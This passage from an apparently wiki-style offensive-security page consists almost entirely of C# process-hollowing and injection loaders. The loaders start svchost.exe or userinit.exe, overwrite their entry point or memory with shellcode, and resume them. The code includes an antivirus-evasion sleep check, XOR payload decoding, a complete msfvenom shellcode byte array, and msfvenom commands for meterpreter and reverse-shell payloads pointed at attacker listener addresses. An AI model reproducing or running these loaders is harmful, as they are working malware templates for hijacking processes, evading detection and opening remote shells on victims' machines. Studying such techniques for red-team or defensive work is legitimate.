            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
            string shellcodePath = &amp;quot;path_to_shellcode.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode&lt;br /&gt;
            byte[] shellcode = System.IO.File.ReadAllBytes(shellcodePath);&lt;br /&gt;
            // Overwrite the EntryPoint with the shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload over HTTP/HTTPS ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net.Http;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
            int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,&lt;br /&gt;
            uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,&lt;br /&gt;
            byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        private static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]&lt;br /&gt;
        struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public IntPtr lpReserved;&lt;br /&gt;
            public IntPtr lpDesktop;&lt;br /&gt;
            public IntPtr lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct PROCESS_BASIC_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        static async Task Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;;&lt;br /&gt;
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
